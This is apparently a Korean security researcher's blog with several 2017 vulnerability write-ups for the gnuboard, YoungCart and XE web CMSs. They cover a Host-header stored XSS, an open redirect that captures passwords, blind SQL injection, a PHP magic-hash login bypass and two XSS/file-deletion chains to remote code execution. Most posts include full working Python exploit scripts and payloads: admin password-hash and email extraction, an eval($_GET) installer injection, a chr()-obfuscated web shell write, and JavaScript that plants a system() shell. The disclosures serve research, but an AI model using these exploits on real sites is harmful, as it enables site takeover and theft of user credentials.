2017년 11월 21일 화요일

gnuboard stored xss

예전에 포스팅 했던 취약점인데, 취약점이 워낙 재밌게 터지고 파급력 또한 좋은거 같아서 이 쪽 블로그에 옮겨봅니다.

--


일단 index.php소스를 봐줍니다 



latest 함수로  echo를 시켜 주는걸 볼수가 있는데 평소에는 아 여기서 취약점이 터지겠어 라는 생각으로 넘겼지만 돈이 급하고 취약점이 급하다 보니 걍 구조를 보게 되었습니다. 



함수를 보시게 되면 캐시 파일이 존재 하면 그걸 include 시키고 존재 하지 않는다면 캐시 파일을 생성한후 그걸 include를 시켜줍니다.
이때 캐시 파일을 쓸때 $latest_skin_url 변수의 값을 넣어주게 되는데 latest_skin_url 변수는 G5_SKIN_URL 이 값이 담기게 됩니다 
G5_SKIN_URL 값은 common.php파일의 g5_path() 함수에의해 host헤더 값이 담기게 됩니다.

익플 방법은 일단 캐시를 초기화 시켜주기 위해 게시글을 하나 쓴뒤, 그 다음 index.php로 host에  "><img src=1 onerror="alert('XSS');">하시면 됩니다 






PoC : 
import requests
from urllib import quote

header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}

url = "site_url"

r = requests.get(url, headers=header)
print r.text




2017년 9월 23일 토요일

gnuboard open redirect & password leak

해킹캠프에서 web hacking 이라는 주제로 발표를 준비 하다보니 마음에 드는 Open redriect  real case를 찾지 못해 어쩌지 하다가 임준오랑 예전에 한국 CMS들을 미친듯이 털어서 키사 거덜 내자라는 프로젝트 비슷한걸 한적 있었는데 그때 임준오가 찾은 취약점이 생각나서 다시 봤더니 패치를 해도 여전히 취약해서 찾게 되었다.

member_confirm.skin.php:21~23줄을 보자


form 태그의 action부분에 url을 출력 시키는걸 볼수가 있다. 
만약 URL을 http://hacker.com/ 로 바꿔버리면 form 태그로 보내는 모든 값들을 해커가 가로챌수가 있을것이다.

자 그럼 저 form 태그가 어떤 값들을 한번 보자


몇개 안되는 input 중에 password를 보내는걸 확인 할수가 있다.

그럼 저 member_confirm.skin.php를 어디서 include하는지 찾아보자.



member_confirm.php에서 include하는걸 찾을수 있었는데 문제는 url 체크를 한다는거다
어떤식으로 체크를 하는지 확인 할겸  한번 check_url_host 함수를 보자



함수를 보니 앞서 걱정했던게 딱히 필요가 없어졌다 왜냐하면 parse_url 함수는 보기 보다 많이 멍청하기 때문이다.

우회 방법은 아래를 참고하면 된다.





이런식으로 우회를 하면된다. 패스워드 릭은 간단하다 

http://10.211.55.3/gb/bbs/member_confirm.php?url=http://adm1nkyj.kr%23@10.211.55.3/

이런식으로 url을 만든후 유저들에게 뿌리면 회원들이 비번을 입력할테고 그러면 해커의 서버로 유저의 비번이 날라올것이다. (비번을 입력할 확률이 높은 이유는 도메인이 실제 이용중인 사이트의 도메인이랑 동일 하기 때문이다)







이런식으로 평문 password를 해커가 가져올수 있다.

마지막으로 해킹캠프의 발표 후기를 지금이나마 조금 적어보자면 내가 발표한 시간이 점심 먹은후라 다들 주무실거 같아서 걱정이 많았지만 고맙게도 다들 재밌게 들어주신거 같아서 좋았다ㅋㅋ
그리고 발표를 하다보니 생각보다 시간이 길어져서 뒤에는 그냥 거의다 넘기다 시피 해서 아쉬웠다.
다음에도 기회가 되면 해보고 싶어질거 같다





2017년 7월 3일 월요일

YoungCart SQL Injection

영카트나 그누보드는 사실상 일반적으로는 SQL Injection이 불가능한 구조이다. 이유는 아래의 사진을 참고하자 



GET, POST, COOKIE, REQUEST 배열들을 전부 돌면서 escape를 하는 구조여서 일반적으로 ' 나 ", \ 들을 넣는다고 SQL Injection은 불가능하지만 그렇다고 아예 불가능 한건 아니다.

일단 난 저 escape하는 소스코드를 보고 다음과 같은 취약점 상황들을 주로 찾아볼려고 노력을 하였다.

case 1.


or


case 2.


이 외에도 여러가지 상황들이 있는데 귀찮으니 패스 하고 일단 첫번째 케이스는 이미 많이 터진 취약점인거 같아 패스했고 두번째 케이스 중심으로 찾아보기 시작했다.

찾다보니 shop/naverpay/naverpay_order.php 에서 비슷한 상황을 발견하였다


딱 봐도 뭔가 취약점이 터질거 같았다.

그래도 혹시 모르니 get_option_stock_qty 함수를 분석 해보았다.


쿼리 구조를 보니 $io_id 에다가 \를 넣어주고 $io_tpye에다가 injection query를 넣어주면 된다.
이렇게 해서 찾았다. 하지만 취약점을 찾고 아주 작은 문제점이 있었는데 바로 그누보드에서 쿼리를 실행 할때마다 information_schema를 정규식으로 막는다는 거였다.
 


소스코드를 보면 $sql = preg_replace("#^select.*from.*where.*`?information_schema`?.*#i", "select 1", $sql); 와 같이 information이 정규식에 매칭 되면 필터링을 한다 하지만 preg_replace 정규식 옵션에 's' 옵션이 없어서 그냥 %0a를 이용해서 우회를 해주면 되어서 우회 하고 익스플로잇을 짜다 보니 CMS는 모든 테이블명이 똑같은거란 생각이 나버려서 그냥 포기하고 그냥 hash처리 된 admin의 비밀번호를 가져오는 익스를 작성하였다.

사실 눈치챈 사람도 있겠지만 이 취약점을 오마주한게 'SECUINSIDE 2017 Simple Board' 문제이다 ㅋㅋ!
https://github.com/adm1nkyj/ctfwriteup/tree/master/my_task/secuinside_2017/simple_board - simple board write up & source code

대충 여기에 대한 썰을 풀어보자면 일단 취약점이 개인적으로 재밌었고 또 그누보드의 정규식을 보고 wargame에서 풀어봤던 regex bypass 문제가 생각나서 해봤는데 bypass가 성공적으로 되서 그냥 쓱쓱 문제로 내버렸다 ㅋㅋ

그럼 마지막으로 짜둔 Exploit Code이다 

import requests
import sys


if len(sys.argv) is 1:
  exit("input it_id value")


it_id = sys.argv[1]

url = "http://10.211.55.3/youngcart/shop/naverpay/naverpay_order.php"
header = {"Content-Type":"application/x-www-form-urlencoded"}

true = ""
false = ""

### find true , false ###
for i in range(1, 2):
payload = {"it_id[]":it_id,
  "io_id["+it_id+"]":"'",
  "io_type["+it_id+"][0]":"||1="+str(i)+"#",
  "ct_qty["+it_id+"][0]":"3"
 }

r = requests.post(url, data=payload, headers=header)
if i == 1:
true = r.text
else:
false = r.text

### get admin password ###
password = ""
email = ""
for i in range(1, 42):
for j in range(32, 128):
payload = {"it_id[]":it_id,
                  "io_id["+it_id+"]":"'",
                  "io_type["+it_id+"][0]":"||ascii(substr((select mb_password from g5_member where mb_id=0x61646d696e),"+str(i)+",1))="+str(j)+"#",
                  "ct_qty["+it_id+"][0]":"3"
                 }
r = requests.post(url, data=payload, headers=header)
if r.text == true:
password = password + chr(j)
print password
break
### get admin email ###
i = 1
email_len = 0
while True:
payload = {"it_id[]":it_id,
                   "io_id["+it_id+"]":"'",
                   "io_type["+it_id+"][0]":"||length((select mb_email from g5_member where mb_id=0x61646d696e))="+str(i)+"#",
                   "ct_qty["+it_id+"][0]":"3"
                  }
r = requests.post(url, data=payload, headers=header)
        if r.text == true:
email_len = i
break
i = i + 1
for i in range(1,email_len + 1):
for j in range(32, 128):
payload = {"it_id[]":it_id,
                           "io_id["+it_id+"]":"'",
                           "io_type["+it_id+"][0]":"||ascii(substr((select mb_email from g5_member where mb_id=0x61646d696e),"+str(i)+",1))="+str(j)+"#",
                           "ct_qty["+it_id+"][0]":"3"
                          }
                r = requests.post(url, data=payload, headers=header)
                if r.text == true:
                        email = email + chr(j)
                        print email
                        break
print password
print email


2017년 6월 20일 화요일

그누보드 5 자동 로그인 인증 우회 취약점

내가 그누보드, 영카트 취약점을 찾았던것중 재미로 뽑자면 열 손가락안에 드는 취약점중 하나 인거 같은 취약점에 대해 써볼것이다.

우선 이 취약점은 실 상황에서의 '파급력'보다 단순 '재미'로만 보는게 가장 바람직 할것이다. 이유는 진짜 단순하고 익스 과정까지 엄청난 브포가 필요하기 때문이다.

우선 그누보드의 최근 패치 내역을 보자.



사실 이것만 봐도 워게임 또는 CTF를 '아주 조금' 이라도 해봤거나 PHP로 코딩 하는 소수 또는 다수의 사람들은 대충 알겠지만, 정상적인 언어로 코딩을 하는 사람들은 이해를 못할수도 있으니 왜 이게 취약한것인지 설명을 해보자면 PHP는 '=='와 '==='의 비교자체가 아주 다르다 자세한 내용은 아래를 참고하자





사실 이것만 봐도 매력적인 언어가 또 어디있나 싶다. (사실 내가 많이 쓰는 언어가 PHP다.) 사실 위에거는 PHP의 위대함을 보여주기 위함이였고 다시 본론으로 돌아가서 어떤식으로 우회를 하냐면 PHP에는 Magic Hash라는 공격기법이 있다 이것이 무엇인지는 아래를 참고해보자.



이러한 공격 기법이다.

자 이제 다시 그누보드의 소스코드로 돌아가보자



$key라는 변수에는 유저의 아이피 + 사이트의 아이피 + 유저 에이전트 + 검색된 아이디의 해시화된 비번 값이 md5로 암호화 하여 저장을하고 $tmp_key에는 ck_auto라는 쿠키값을 저장한후 $tmp_key == $key 이런식으로 비교한다. 자 여기서 유저 에이전트를 md5의 결과값을 0e[0-9]+ 가 나올때까지 브포를 하면서 ck_auto값을 '0e123' 으로 맞춰 버린다면 두말 할것 없이 바로 바이패스가 될것이다.

사실 나는 PHP Trick을 개인적으로 매우 좋아하며, 앞으로도 PHP trick에 대해 공부하고 알게 된 trick을 이용해 php로 제작된 CMS들의 취약점을 찾아볼 예정이다.

마지막으로 아래는 poc 영상과 영상에서 사용된 exploit 코드다 참고로 테스트 할때는 시간 단축을 위해 직접 $row['mb_password']와 같은 값을 모두 구해 로컬에서 브포를 돌린후 결과를 서버로 보냈다

패치된 버전 다운 : https://sir.kr/g5_pds/3660

video : https://youtu.be/gWEqz0QLqJo

exploit code : 

import requests
import hashlib
from urllib import quote

def md5_enc(_str):
m = hashlib.md5()
m.update(_str)
return m.hexdigest()

ex_cookie = md5_enc('ck_mb_id')+"="+quote("testid123".encode("base64").strip())+";"+md5_enc("ck_auto")+"="+quote("0e123".encode("base64").strip())+";PHPSESSID=6cktqqhisq4v2sjusageshaiu3"

header = {"Cookie": ex_cookie, "User-Agent": "457786147"}  #457786147

url = "http://10.211.55.3/youngcart/"

content = requests.get(url, headers=header).text
print content

2017년 5월 23일 화요일

Youngcart RCE

그누보드를 밥먹듯이 찾다보니 질린 나머지 다른 타켓을 잡아보기로 하였다.
그러다가 발견한게 그누보드를 만든 회사에서 만든 영카트라는 CMS였다. 영카트는 그누보드와는 달리 쇼핑몰을 겨냥해 만든 CMS 였었다 그래서 흥미가 생겨 무작정 소스코드를 열어 하나하나 보다보니 이상한 부분이 있었다.

shop/itemqaformupdate.php 80~ 96 코드를 보면 아래 사진과 같이 되어있었다.



위의 사진에 있는 소스코드의 동작을 대충 설명 하자면

$row['iq_question']의 값을 get_editor_image함수에 넣고 그 리턴값을 $imgs 변수에 저장을 해준다. 이때 $row['iq_question']의 값은 유저가 작성한 상품 문의글 내용이다.
그 후 $imgs 변수를 검사하면서 파일이 서버에 존재 하는지 안하는지 체크를 한후 만약 파일이 존재한다면 삭제를 하는 형식이였다.

그래서 난 get_editor_image 함수의 리턴값을 서버내 중요한 파일로 유도한뒤 그것을 삭제하게 하면 크리티컬 하지 않을까란 생각에 get_editor_image함수의 내부 구조를 살펴보기로 하였다.




생각보다 함수의 크기가 작아서 엄청 다행이였고 그래서 취약점을 찾기가 쉬웠다.
아까도 말했듯이 get_editor_image함수에는 $row['iq_question'] 값이 들어가고 $row['iq_question']값은 유저가 작성한 상품문의글이였다. 이제 대충 눈치를 채셨겠지만 계속 진행을 해보자면 $row['iq_question'] 변수에 정규식 /<img([^>]*)>/iS 에 매치 시킨다면 그 매치된 값이 리턴될테고 그 리턴된 값이 서버에 존재한다면 그 파일이 삭제 될것이다. 아래는 정규식을 매치시킨 예제이다.


띠용? 정규식에 매치시키는것은 쉬웠다. 그런데 취약점을 찾고나서 사람들한테 "야 나찾음 ㅋㅋ!" 하면서 자랑을 했더니 사람들이 반응이 대부분 "그거 삭제 해서 뭐하게" 라는 반응이였다. 그래서 잠시 시무룩 해졌다가 아이디어가 떠올랐다 그누보드든 영카트든 설치할때 구조가 data 디렉토리에 dbconfig.php 파일이 존재하는지 체크를 하고 만약 없다면 설치를 진행하는 구조였고 이 취약점으로 dbconfig.php파일을 지운다면 당연 재설치를 할꺼고 재설치를 하게 되면 웹쉘을 올릴수 있는 가능성이 커진다는 거다는거다.

그래서 install 하는 쪽 코드를 보다보니

install_db.php 파일쪽에서 아래 사진과 같은 부분을 발견하였다.



이걸 보고 아 이거다란 생각이 먼저 들었다. 사실 여기까지만 해도 대부분 사람들은 눈치챌텐대 친절하니 더 진행하기로함.

일단 익스방법은 간단했다 상품문의란에 <img/data/dbconfig.php>란 글을 쓰고 그 글을 삭제한뒤 영카트를 재설치 할때 mysql 비번을 '; phpinfo();// 이런식으로 만든뒤 설치를 하게되면 RCE가 된다.

마지막으로  itemuseformupdate.php 파일에서도 비슷하게 터지는 하나 더 찾아서 제보했으니 분석 해봐도 좋을듯하다.


poc video : 


영상 1 : https://youtu.be/L2wp2tf6GuQ
영상 2 : https://youtu.be/fS2hx0q0lrw

full exploit : 


import requests
import sys
import random
import string
import time
if len(sys.argv) is 1:
  exit("input it_id value")


it_id = sys.argv[1]
cookie = sys.argv[2]
cookie = cookie

print cookie
header =  {"cookie":cookie,
  "Content-Type":"application/x-www-form-urlencoded"}

payload = {"it_id":it_id,
  "iq_subject":"aaaaaa",
  "iq_question":"<img/data/dbconfig.php>"}

url = "http://10.211.55.3/aaa/shop/itemqaformupdate.php"

r = requests.post(url, data=payload, headers=header)

url = "http://10.211.55.3/aaa/shop/item.php?it_id=" + it_id
r = requests.get(url, headers=header)
content =  r.text.split('<a href="./itemqaformupdate.php?it_id='+ it_id +'&amp;iq_id=')[1]

iq_id = content.split("&")[0]
_hash = content.split("&amp;w=d&amp;hash=")[1].split('"')[0]


url = "http://10.211.55.3/aaa/shop/itemqaformupdate.php?w=d&iq_id="+ iq_id + "&hash=" + _hash
header =  {"cookie":cookie}

r = requests.get(url, headers=header)

url = "http://10.211.55.3/aaa/install/install_db.php"

c = string.letters + string.digits
rand_str = ''.join(random.sample(c, 6))

payload = {"mysql_host":"10.211.55.3",
  "mysql_user":"webshell",
  "mysql_pass":"');eval($_GET[x]);#",
  "mysql_db":"webshelldb",
  "table_prefix":rand_str,
  "g5_shop_prefix":rand_str,
  "g5_install":"1",
  "g5_shop_install":"1",
  "admin_id":"admin",
  "admin_pass":"1234",
  "admin_name":"admin",
  "admin_email":"admin@domain.com"}

header = {"Content-Type":"application/x-www-form-urlencoded"}

r = requests.post(url, data=payload, headers=header)
print "===== RCE ===="
time.sleep(3)
exploit = "file_put_contents(chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(46).chr(104).chr(116).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115), chr(32));file_put_contents(chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(32).chr(63).chr(62));"
url = "http://10.211.55.3/aaa/?x=" + exploit
r = requests.get(url)
print "http://10.211.55.3/aaa/data/shell.php"


2017년 5월 22일 월요일

XE XSS to RCE

먼저 타켓을 XE로 잡게된 이유는 XE에서 자체적으로 버그 바운티 제도를 운영 한다는 소리를 듣고 타켓으로 선정 하기로 하였다.

자세한 내용은 아래 링크와 사진을 참고 하면 될거 같다.



https://www.xpressengine.com/security_bounty_program

타켓 선정을 한 후 XE의 소스를 다운 받아 구조부터 차근 차근 살펴 보기 시작 하였다.

일주일이 지나도 취약점은 나오지 나오지 않았고 오직 RCE또는 로직 우회 같은 취약점들의 가능성만 보이는거 같아 다시 xe기능을 살펴 보던중 XE 디비중 xe_menu_item 테이블에서



{$lang->menu_gnb_sub['userList']} 이런식으로 값을 저장을 하는걸 볼수 있었다.

보고 아 이거구나 하고 이 테이블에 어떻게 값을 넣을수 있는지 찾다보니 게시판 메뉴를 추가를 할때 저기에 추가가 되는것을 확인 할수 있었고 게시판 메뉴 이름을 {${phpinfo()}} 이런식으로 설정을 해주면 메인 페이지에서 phpinfo가 실행 되는것을 확인 할수 있었다.



이제 정상적으로 코드를 실행 할수 있는 방법을 찾았으나 문제가 있었다. 왜냐면 admin 권한이 있어야지 공격이 성공하기 때문이다 그래서 생각한게 XSS를 찾자 라는 생각이였고 그후 생각한게 어짜피 admin을 타켓으로 공격 할것인데 굳이 힘들게 user권한으로만 접근 할수 있는 페이지에서 찾지 말고 admin 페이지에서 xss를 찾자였다. 왜냐하면 admin 페이지는 대체로 좀 많이 취약하기 때문이다 하하하

그 후 xss를 찾기 시도 하자마자 바로 reflected xss을 찾았다.
http://10.211.55.3/xe/index.php?module=admin&act=dispFileAdminList&search_target=isvalid">exploit

xss를 찾은후 익스를 하다보니 문제가 생겼다 무슨 문제냐면 reflected xss는 브라우저의 영향 받게 되는데 난 영향을 받는게 매우 싫었고 갑자기 필터링을 우회 하는 방법을 정리해둔 블로그가 생각이 났고 따라 해보니 실제로 되었다.(생각해보니 임준오가 먼저 말해준거 같다)

방법은 아래 처럼 하면 된다. (매우 간단)

1. 서버에 우선 javascript가 들어있는 txt파일을 올린다.
2. http://10.211.55.3/xss.php?xss=%3Cscript%20src=%27./test.txt%27%3E%3C/script%3E
이런식으로 script src로 txt 파일을 불러오면 된다




짠! 우회가 되었다. 이제 모든 준비가 끝났다.

이제 XE에 script 파일을 업로드 한후 그 경로만 가져오면 끝난다.
하지만 일반 파일을 업로드 하면 경로를 안주고 .ra .jpg .video같은 확장자를 올려야지 경로를 뱉어 주길래 exploit.ra파일에 아래 내용을 담은후 경로를 가져온후 익스를 완성 시키면된다.


var xhr = new XMLHttpRequest();
xhr.open("POST","/xe/");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("ruleset=insertMenuItem&act=procMenuAdminInsertItem&menu_name_key=&menu_name={${file_put_contents('./files/attach/exploit.php', '<?php system($_GET[0]); ?>')}}&menu_desc=&module_type=ARTICLE&menu_open_window=N&menu_expand=N&is_shortcut=N&parent_srl=65&module_id=&module=menu");


http://10.211.55.3/xe/index.php?module=admin&act=dispFileAdminList&search_target=isvalid"><script src='{ra file path}’></script></span>

그 후 1:1 문의나 쪽지 또는 게시글에 admin이 클릭 하게 유도를 하게 되면 files/attach/ 에 exploit.php파일이 생성 된다. (익스를 더 완벽하게 할려면 주소 줄이기 같은걸 이용해도 좋다)


위 사진은 쉘을 업로드 한후 커맨드를 실행한 모습이다.